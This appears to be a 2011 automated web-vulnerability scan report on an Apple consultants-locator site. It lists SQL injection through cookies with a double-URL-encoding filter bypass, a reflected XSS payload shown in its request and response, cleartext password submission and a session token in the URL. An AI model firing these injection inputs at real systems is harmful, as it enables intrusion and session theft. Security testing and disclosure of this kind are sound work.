s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; __utma=154752810.1794820674.1310696627.1310696627.1310696627.1; __utmz=154752810.1310696627.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; s_membership=1%3Aaid; s_orientation=%5B%5BB%5D%5D; s_cc=true; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=%5B%5BB%5D%5D; s_orientationHeight=652%2527; ccl=Sik/e2L4lZvfbdz7IuiJSX/x3IrxAEgCyuFguN1GzU+U7R6R/nYLmAjFIaPoY62MMsYsijUHMhziF/gOupEMZ0J0A9bbHtS/zCGSiEOo0TiJla0fqrwY4o4wnwvbEqZY+x0crnytPl6QJiGTn8WoHHYBk6Pg3B4H69jPn/crCqvtB5vIpoX3TnvyA5mEOi4jcjivP9Fpy1pQoa/O4F6jbiTZAqP0u/Dk+FhQ2lkdqsAZVlfchc/wJ2/og/M5ngACgFRgmGTfKqA1Wt4k5cfdoPQRGK7kkJY20932xUa98yR8sd2/56npY3QGG9qy+A4zfF1+dYHHne6vnE4rZ7DNhjbjEueQmK6l6XLhn/UcaNNwVaXtuW8RubzKEgTmcGeMlCjczGJgFQhtpc1xK525UytNBO+uGyz1QHDYW57+mOmp9buEwyUowix4ju1mQGn254y14YWve0ekRN6C9iY1/pjwb12q8qSgTxbB5ENue5YRwp9cKuAG34CPPaExR7UD1NOnWa7P6DdhXtEpr/wgeKafe3B+9ngICaX/KX0VOhqK4jpllUn/sOlqqSomjjj1; geo=US

Response 1

HTTP/1.0 500 Internal Server Error
Date: Fri, 15 Jul 2011 19:54:52 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

Request 2

GET /index.php?fuseaction=home.directory&offset=0&rppg=8&q=b0ad728d6b0d7d8318425ae1f7b86b60%22+and+3-2+%3D+%221 HTTP/1.1
Host: consultants-locator.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310698467867'%5D%2C%5B'OAS-US-DOMAINS-mac.com'%2C'1310703720371'%5D%2C%5B'oas-us-domains-mac.com'%2C'1310703744694'%5D%2C%5B'www.fakereferrerdominator.com'%2C'1310752608818'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D2%3Bch%3Ddeveloper%26vn%3D3%3Bch%3Dbuy%26vn%3D2%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3Bch%3Dcontact%26vn%3D1%3Bch%3Deducation%26vn%3D2%3Bch%3Dmyappleid.iforgot%26vn%3D2%3Bch%3Dmac%26vn%3D1%3Bch%3Dmacosx%26vn%3D2%3Bch%3Djobs%26vn%3D1%3Bch%3Dretailstore%26vn%3D1%3Bch%3Dtrailers%26vn%3D1%3Bch%3Dipod%26vn%3D1%3Bch%3Ditunes%26vn%3D1%3Bch%3Dmyappleid%26vn%3D1%3Bch%3Dali%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; __utma=154752810.1794820674.1310696627.1310696627.1310696627.1; __utmz=154752810.1310696627.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; s_membership=1%3Aaid; s_orientation=%5B%5BB%5D%5D; s_cc=true; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=%5B%5BB%5D%5D; s_orientationHeight=652%2527%2527; ccl=Sik/e2L4lZvfbdz7IuiJSX/x3IrxAEgCyuFguN1GzU+U7R6R/nYLmAjFIaPoY62MMsYsijUHMhziF/gOupEMZ0J0A9bbHtS/zCGSiEOo0TiJla0fqrwY4o4wnwvbEqZY+x0crnytPl6QJiGTn8WoHHYBk6Pg3B4H69jPn/crCqvtB5vIpoX3TnvyA5mEOi4jcjivP9Fpy1pQoa/O4F6jbiTZAqP0u/Dk+FhQ2lkdqsAZVlfchc/wJ2/og/M5ngACgFRgmGTfKqA1Wt4k5cfdoPQRGK7kkJY20932xUa98yR8sd2/56npY3QGG9qy+A4zfF1+dYHHne6vnE4rZ7DNhjbjEueQmK6l6XLhn/UcaNNwVaXtuW8RubzKEgTmcGeMlCjczGJgFQhtpc1xK525UytNBO+uGyz1QHDYW57+mOmp9buEwyUowix4ju1mQGn254y14YWve0ekRN6C9iY1/pjwb12q8qSgTxbB5ENue5YRwp9cKuAG34CPPaExR7UD1NOnWa7P6DdhXtEpr/wgeKafe3B+9ngICaX/KX0VOhqK4jpllUn/sOlqqSomjjj1; geo=US

Response 2

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 19:54:52 GMT
Server: Apache/2.2.3 (Red Hat)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 45312

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
1.12. http://consultants-locator.apple.com/index.php [s_ppv cookie]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://consultants-locator.apple.com
Path:   /index.php

Issue detail

The s_ppv cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the s_ppv cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of the s_ppv cookie as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request 1

GET /index.php?PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60&fuseaction=home.directory&offset=0&rppg=8&q=10010 HTTP/1.1
Host: consultants-locator.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants-locator.apple.com/
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C%2527; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60; __utma=154752810.1794820674.1310696627.1310696627.1310696627.1; __utmb=154752810.2.10.1310696627; __utmc=154752810; __utmz=154752810.1310696627.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response 1

HTTP/1.0 500 Internal Server Error
Date: Fri, 15 Jul 2011 03:56:21 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

Request 2

GET /index.php?PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60&fuseaction=home.directory&offset=0&rppg=8&q=10010 HTTP/1.1
Host: consultants-locator.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants-locator.apple.com/
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C%2527%2527; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60; __utma=154752810.1794820674.1310696627.1310696627.1310696627.1; __utmb=154752810.2.10.1310696627; __utmc=154752810; __utmz=154752810.1310696627.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response 2

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 03:56:21 GMT
Server: Apache/2.2.3 (Red Hat)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 53263

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
2. Cross-site scripting (reflected)  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://consultants-locator.apple.com
Path:   /companySearch.php

Issue detail

The value of the offset request parameter is copied into the HTML document as plain text between tags. The payload 4e543<img%20src%3da%20onerror%3dalert(1)>b66c23dd7e4 was submitted in the offset parameter. This input was echoed as 4e543<img src=a onerror=alert(1)>b66c23dd7e4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /companySearch.php?fuseaction=home.directory&offset=-84e543<img%20src%3da%20onerror%3dalert(1)>b66c23dd7e4&rppg=8&q=10010& HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Netsparker)
X-Requested-With: XMLHttpRequest
Cache-Control: no-cache
Host: consultants-locator.apple.com
Cookie: PHPSESSID=f8ae4d8d9ac35356704d1ea74749673a
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Fri, 15 Jul 2011 18:55:05 GMT
Server: Apache/2.2.3 (Red Hat)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 157
Connection: close
Content-Type: text/plain;charset=UTF-8

{"count":0,"results":[],"rppg":8,"offset":"-84e543<img src=a onerror=alert(1)>b66c23dd7e4","page_index":"","error_msg":"No results found","criteria":"near "}
3. Cleartext submission of password  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://consultants-locator.apple.com
Path:   /webmail/src/login.php

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password field:

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.

Request

GET /webmail/src/login.php HTTP/1.1
Host: consultants-locator.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310698467867'%5D%2C%5B'OAS-US-DOMAINS-mac.com'%2C'1310703720371'%5D%2C%5B'oas-us-domains-mac.com'%2C'1310703744694'%5D%2C%5B'www.fakereferrerdominator.com'%2C'1310752608818'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D2%3Bch%3Ddeveloper%26vn%3D3%3Bch%3Dbuy%26vn%3D2%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3Bch%3Dcontact%26vn%3D1%3Bch%3Deducation%26vn%3D2%3Bch%3Dmyappleid.iforgot%26vn%3D2%3Bch%3Dmac%26vn%3D1%3Bch%3Dmacosx%26vn%3D2%3Bch%3Djobs%26vn%3D1%3Bch%3Dretailstore%26vn%3D1%3Bch%3Dtrailers%26vn%3D1%3Bch%3Dipod%26vn%3D1%3Bch%3Ditunes%26vn%3D1%3Bch%3Dmyappleid%26vn%3D1%3Bch%3Dali%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; __utma=154752810.1794820674.1310696627.1310696627.1310758095.2; __utmz=154752810.1310758095.2.2.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; s_membership=1%3Aaid; s_orientation=%5B%5BB%5D%5D; s_cc=true; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=%5B%5BB%5D%5D; s_orientationHeight=652; ccl=Sik/e2L4lZvfbdz7IuiJSX/x3IrxAEgCyuFguN1GzU+U7R6R/nYLmAjFIaPoY62MMsYsijUHMhziF/gOupEMZ0J0A9bbHtS/zCGSiEOo0TiJla0fqrwY4o4wnwvbEqZY+x0crnytPl6QJiGTn8WoHHYBk6Pg3B4H69jPn/crCqvtB5vIpoX3TnvyA5mEOi4jcjivP9Fpy1pQoa/O4F6jbiTZAqP0u/Dk+FhQ2lkdqsAZVlfchc/wJ2/og/M5ngACgFRgmGTfKqA1Wt4k5cfdoPQRGK7kkJY20932xUa98yR8sd2/56npY3QGG9qy+A4zfF1+dYHHne6vnE4rZ7DNhjbjEueQmK6l6XLhn/UcaNNwVaXtuW8RubzKEgTmcGeMlCjczGJgFQhtpc1xK525UytNBO+uGyz1QHDYW57+mOmp9buEwyUowix4ju1mQGn254y14YWve0ekRN6C9iY1/pjwb12q8qSgTxbB5ENue5YRwp9cKuAG34CPPaExR7UD1NOnWa7P6DdhXtEpr/wgeKafe3B+9ngICaX/KX0VOhqK4jpllUn/sOlqqSomjjj1; geo=US; PHPSESSID=14fc9957bba70460c46926ac4c2ab0d4; __utmb=154752810.2.10.1310758095; __utmc=154752810

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 19:29:11 GMT
Server: Apache/2.2.3 (Red Hat)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: SQMSESSID=7b6b6d802df9edd6041a34302cd0885a; path=/webmail/; HttpOnly
Set-Cookie: SQMSESSID=7b6b6d802df9edd6041a34302cd0885a; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/webmail/; HttpOnly
Set-Cookie: SQMSESSID=7b6b6d802df9edd6041a34302cd0885a; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/webmail/src/; HttpOnly
Content-Length: 2159
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>

<head>
<meta name="robots" content="noindex,nofollow">

<title>SquirrelMail - Login</title><script language="JavaScript" type="
...[SNIP]...
<body text="#000000" bgcolor="#ffffff" link="#0000cc" vlink="#0000cc" alink="#0000cc" onLoad="squirrelmail_loginpage_onload();">
<form action="redirect.php" method="post" >
<table bgcolor="#ffffff" border="0" cellspacing="0" cellpadding="0" width="100%">
...[SNIP]...
<td align="left" width="*"><input type="password" name="secretkey" />
<input type="hidden" name="js_autodetect_results" value="0" />
...[SNIP]...
4. Session token in URL  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://consultants-locator.apple.com
Path:   /index.php

Issue detail

The URL in the request appears to contain a session token within the query string:

Issue background

Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.

Issue remediation

The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.

Request

GET /index.php?PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60&fuseaction=home.directory&offset=0&rppg=8&q=10010 HTTP/1.1
Host: consultants-locator.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants-locator.apple.com/
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; 